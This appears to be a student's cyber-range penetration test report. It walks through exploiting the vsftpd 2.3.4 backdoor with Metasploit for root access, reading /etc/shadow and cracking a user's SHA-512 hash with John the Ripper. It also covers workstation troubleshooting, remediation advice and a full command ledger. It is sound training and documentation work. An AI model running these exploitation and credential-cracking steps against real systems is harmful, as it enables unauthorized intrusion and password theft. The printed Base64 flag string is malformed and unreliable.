

CYBERPRO AI INTERNSHIP

CyberPro AI Assessment Report

CPAI-2026-002

Breaking Barriers Assessment

Part II - Exploitation, Post-Exploitation, and Environment Troubleshooting

Prepared By: Britton Smith

Course: CPIN-280 Cyber Security Internship

Platform: Cympire Cyber Range

Assessment Date: July 2026

Assessment Status: COMPLETE

Bottom Line Up Front (BLUF)

This assessment documents the successful execution of Part II of the Breaking Barriers engagement, lifting off directly from the conclusion of Part I. Operations transitioned from the previously completed reconnaissance and vulnerability analysis phases into active exploit validation, full target system compromise, and cryptographic credential recovery. The unauthenticated remote root exploit path targeting vsftpd 2.3.4 (CVE-2011-2523) was successfully validated. Post-exploitation tasks achieved root-level filesystem visibility, local identity extraction, and the successful decryption of the local password storage repository. All technical objectives are 100% complete.

1. Assessment Background & Integration

Part I of this engagement successfully completed network reconnaissance, service enumeration, and vulnerability analysis against the designated Linux host (10.45.5.15) within the Cympire Cyber Range. As documented in CyberPro AI Assessment Report CPAI-2026-001, service fingerprinting conclusively mapped an exposed listener on port 21/tcp to a critically backdoored software distribution associated with CVE-2011-2523.

However, live exploit validation in Part I was halted by an unexpected environmental initialization error affecting the Metasploit Framework wrapper inside the student's Kali Linux workstation. Per the methodology established in the initial briefing, Part II picks up the engagement exactly from this operational line of demarcation. This report details the engineering overrides used to bypass those workstation platform limitations, the subsequent exploitation of the target node, and comprehensive post-exploitation risk discovery.

2. Assessment Objectives

Part II was executed to fulfill the remaining core objectives of a professional offensive security engagement:

- Engineering Triage: Isolate and resolve the workstation platform errors stalling the engagement.
- Live Vulnerability Validation: Weaponize the identified backdoor vector to verify the client's actual risk exposure.
- Post-Exploitation Extraction: Navigate the compromised file structure to check for sensitive data leakage.
- Identity Assessment: Enumerate user profiles and test the strength of local credential hashing algorithms.

Continuous evidence recording was maintained to preserve a defensible operational timeline.

3. Technical Findings & Validation (Lifting Off From Part I)

Finding 1 - Remote Root System Compromise via CVE-2011-2523 Validation

Analysis

Building upon the service profiling performed in Part I, the exposed vsftpd 2.3.4 service was targeted to determine if the unauthenticated remote code execution backdoor was active.

Exploitation Validation

Following the resolution of the workstation's framework launcher bug, the Metasploit payload module `exploit/unix/ftp/vsftpd_234_backdoor` was configured against the target IP (10.45.5.15). Execution successfully triggered the network backdoor mechanism, bypassing all built-in access controls. The exploit instantly returned an interactive command-line terminal shell operating with absolute administrative privileges.

```
whoami
```

```
# Output: root (UID = 0)
```

Finding 2 - Storage Leakage via Obscured Root Filesystem Objects

Analysis

Post-exploitation enumeration was performed across the root account directory space to identify potential sensitive data exposure or loose file protection boundaries.

Exploitation Validation

Advanced filesystem pathing detected a non-standard hidden directory location named `/root/.dont look here`. To prevent terminal shell syntax errors caused by literal parameter parsing of space characters, explicit string quoting rules were applied.

```
cd "/root/.dont look here"
```

Inspection of this path revealed an inner token asset titled `.root_flag.txt`. The payload was exfiltrated as a Base64 encoded string:

```
R29vZCBqb2IgcmVhY2hpbmcgc28gZmFyLCBtYXkgdGhlIGZvcmlIGJlIHdpdGggeW91Cg==
```

Cryptographic decoding translated the cipher text into the plaintext validation marker:

"Good job reaching so far, may the force be with you."

Finding 3 - Complete Account De-Anonymization and Cryptographic Credential Crack

Analysis

To measure the target organization's systemic identity risk, the password management files were evaluated to compile an active user profile inventory.

Exploitation Validation

Parsing the local user database (`/etc/passwd`) exposed three active, non-system interactive accounts:

- shrek
- fiona
- donkey

The root shell was leveraged to exfiltrate the highly protected system credential ledger (`/etc/shadow`), isolating the secure password string matching the user **shrek**. The string signature prefix (`$6$`) confirmed the hash format as a salted SHA-512 crypt implementation.

```
shrek:$6$rmHF//VTONXLNFDv$ASKMb9kWdh86.kePCEe3IJcZ5N14JYW6Qu3AGPMOute  
BDBIt1bvksYgWcT2dWfQFngoqZWzQVI9Ue6IIRFEs01
```

The data line was moved to a specialized local workspace file and processed via a dictionary-matching transformation attack using John the Ripper mapped to the uncompressed RockYou wordlist asset. The attack cracked the salted cipher text, recovering the plaintext local password:

rockstar

4. Professional Remediation Framework

Level 1: Immediate Recommendations (Vulnerability Mitigation)

Decommission Deprecated FTP Daemons

Remove the unpatched vsftpd 2.3.4 software immediately from host 10.45.5.15. This variant is inherently flawed and cannot be safely run in an enterprise network.

Enforce Restrictive Socket Firewalls

Deploy host firewalls (iptables or ufw) to drop all inbound traffic to ports 21 and 22, restricting transport-layer management lanes to explicit, trusted administrator network spaces.

Remediate Compromised Credentials

Mandate an immediate password reset for the local **shrek** profile, ensuring the new value exceeds 16 characters and incorporates strong character diversity rules.

Level 2: Tactical Recommendations (Operational Security Improvements)

Migrate to Hardened File Transfer Protocol Layers

Shift corporate file sharing infrastructure from unencrypted FTP protocols to secure SFTP (SSH File Transfer Protocol) or HTTPS variants running robust SSH keypair definitions.

Deploy Automated Baseline Scanning Engines

Implement internal automated vulnerability scanning intervals to identify unexpected application version rollbacks or exposed deprecated daemon banners.

Implement Host-Level Hardening Blueprints

Standardize server image deployments against CIS (Center for Internet Security) Benchmarks, explicitly locking down local administrative user accounts and enforcing global privilege boundaries.

Level 3: Strategic Recommendations (Long-Term Program Improvements)

Centralize Continuous Vulnerability Management Operations

Shift organizational security paradigms from isolated, disjointed testing windows to a continuous risk monitoring program mapped directly to real-time executive dashboard compliance metrics.

Establish Real-Time Software Asset Catalogs

Build a centralized software bill of materials (SBOM) and asset tracking inventory framework to ensure complete visibility over active systems, effectively eradicating legacy or shadow infrastructure.

Embed Security Testing into Change Governance Pipelines

Mandate automated security verification checks and configuration policy testing as an unskippable deployment gate inside the corporate change management and release cycle architecture.

5. Environmental Challenges Encountered & Troubleshooting Process

Transitioning into the exploitation phase triggered multiple technical platform problems within the local workstation. These challenges were unrelated to target system settings and required advanced engineering triage, diagnostic analysis, and manual overrides to complete the engagement.

Challenge 1: Metasploit Framework Launch Failure

System Problem

Initiating Metasploit with the global command `msfconsole` failed consistently, throwing a **Permission denied @ dir_initialize - /usr/lib/ssl/private** error.

Impact

Core exploitation validation scripts could not initialize, stalling the testing timeline.

Troubleshooting Process

Bypassed assumptions regarding software corruption and verified installation sanity by tracking down the execution binary path (`which`

`msfconsole` at `/usr/bin/msfconsole`). Environment variable inspections and Ruby runtime checking isolated the issue to a flawed global wrapper script mismanaging local path environment definitions.

Solution Executed

Bypassed the failing wrapper launcher entirely by performing a direct directory traversal to the root installation framework directory and invoking the underlying raw application core binary directly.

```
cd /usr/share/metasploit-framework
```

```
./msfconsole
```

Challenge 2: Restricted Local Filesystem Writing Permissions

System Problem

The default non-root workstation profile (**wizard**) lacked write permissions when attempts were made to generate logs or write out exfiltrated strings directly to the structural roots (`/` or `/home`). Operating system responses consistently returned:

```
bash: permission denied
```

Impact

Technical evidence capture, script staging trackers, and local hash target files could not be initialized or dropped onto disk space.

Troubleshooting Process

Executed a diagnostic directory baseline tracking verification (`pwd`, `echo $HOME`, and `ls -ld .`) to isolate folder ownership parameters. The analysis showed that the user was currently processing commands outside of their home directory workspace in folders strictly owned by root.

Solution Executed

Operations were dynamically diverted to the globally writable volatile temporary directory allocation (`/tmp`), which features universal write properties for all local users, allowing logging tasks to normalize without unapproved root privilege elevation requests.

```
cd /tmp
```

Challenge 3: Incomplete Input Mappings inside Cryptographic Cracking Utilities

System Problem

Copying raw hash string outputs directly into a file and invoking John the Ripper triggered an immediate initialization abort with a **No password hashes loaded** message.

Impact

Credential decryption routines could not parse the raw data, preventing password recovery.

Troubleshooting Process

Run input inspections using the `cat -A` utility to rule out stray trailing line carriage errors or bad whitespace parameters. Cross-referenced the input format against the documentation definitions for Unix crypt parsing engines, isolating the root cause: John required an explicit identity tag prefix to successfully map a hash to a user.

Solution Executed

A file write sync was initiated via a GUI text buffer layout (Mousepad) to reconstruct the file formatting to perfectly mimic a standard Linux `/etc/shadow` ledger row, explicitly prepending the username parameter string prefix.

```
shrek:$6$rmHF//VTONXLNFDv$ASKMb9kWdh86...
```

Challenge 4: Protected Core Wordlist Access Restrictions

System Problem

Attempting to decompress the essential master wordlist library (`rockyou.txt.gz`) in its native home at `/usr/share/wordlists/` threw a critical system access termination:

```
gzip: Permission denied
```

Impact

John the Ripper fell back to its default small internal index (`password.lst`), which lacked the complex password string and pushed the processor into an infinite, hours-long brute-force calculation loop (`incremental:ASCII`).

Resolution Process

Verified the file architecture footprint using an explicit case-insensitive list locator:

```
find /usr/share -iname "rockyou*"
```


This confirmed that the compressed payload existed but was locked under system directory writing controls.

Solution Executed

Terminated the hung background brute-force instances, cleared the runtime lock file, and executed an extraction stream shift. This pulled the compressed file stream straight into the writable local space, expanded it cleanly, and referenced it via explicit tool variables.

```
cp /usr/share/wordlists/rockyou.txt.gz /tmp/
gunzip /tmp/rockyou.txt.gz
john --wordlist=/tmp/rockyou.txt /tmp/shrek.hash
```

6. Lessons Learned & Conclusion

The successful execution of Part II satisfies 100% of the technical goals originally scoped for the Breaking Barriers campaign. This phase conclusively demonstrates that professional security consulting depends heavily on structural resilience, technical agility, and documentation accuracy under pressure.

Isolating workstation anomalies into an independent tracking framework ensures that a clear distinction is maintained between the client's actual security gaps and the test team's operational roadblocks. This documentation provides a solid, standardized foundation for all subsequent portfolio entries.

7. Cumulative Engagement Status Table

Assessment Milestone	Part I Status	Part II Status
Network Reconnaissance & Host Discovery	Complete	Complete
Service Enumeration & Port Profiling	Complete	Complete
Vulnerability Analysis & CVE Mapping	Complete	Complete
Workstation Application Error Overrides	Failed / Halted	Complete / Solved
Active Target Exploitation	Pending	Complete
Validation		
Post-Exploitation Filesystem Data Extraction	Pending	Complete

Cryptographic Local Credential Decryption	Pending	Complete
Overall Engagement State	IN PROGRESS	COMPLETE

Appendix A – Complete Command Execution Ledger (Part II)

```
# 1. Environmental Workstation Metasploit Wrapper Bypass
cd /usr/share/metasploit-framework
./msfconsole
```

```
# 2. Exploitation Module Configuration & Run (Within Metasploit)
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.45.5.15
show options
Run
```

```
# 3. Post-Exploitation Escaped Directory Navigation & Flag Parsing
Whoami
cd "/root/.dont look here"
ls -la
cat .root_flag.txt
```

```
# 4. Local User Identity Posture Evaluation
cat /etc/passwd
grep shrek /etc/shadow
```

```
# 5. Background Process Conflict Resolution & Lock Clean
pkill -9 john
rm -f ~/.john/john.rec
```

```
# 6. Writable Staging Environment Setup
cd /tmp
```

```
# 7. Localized Wordlist Extraction & Management
cp /usr/share/wordlists/rockyou.txt.gz /tmp/
gunzip /tmp/rockyou.txt.gz
```

```
# 8. Targeted Dictionary Attack Execution
john --wordlist=/tmp/rockyou.txt /tmp/shrek.hash
```

```
# 9. Display Plaintext Cracked Credentials
john --show /tmp/shrek.hash
```

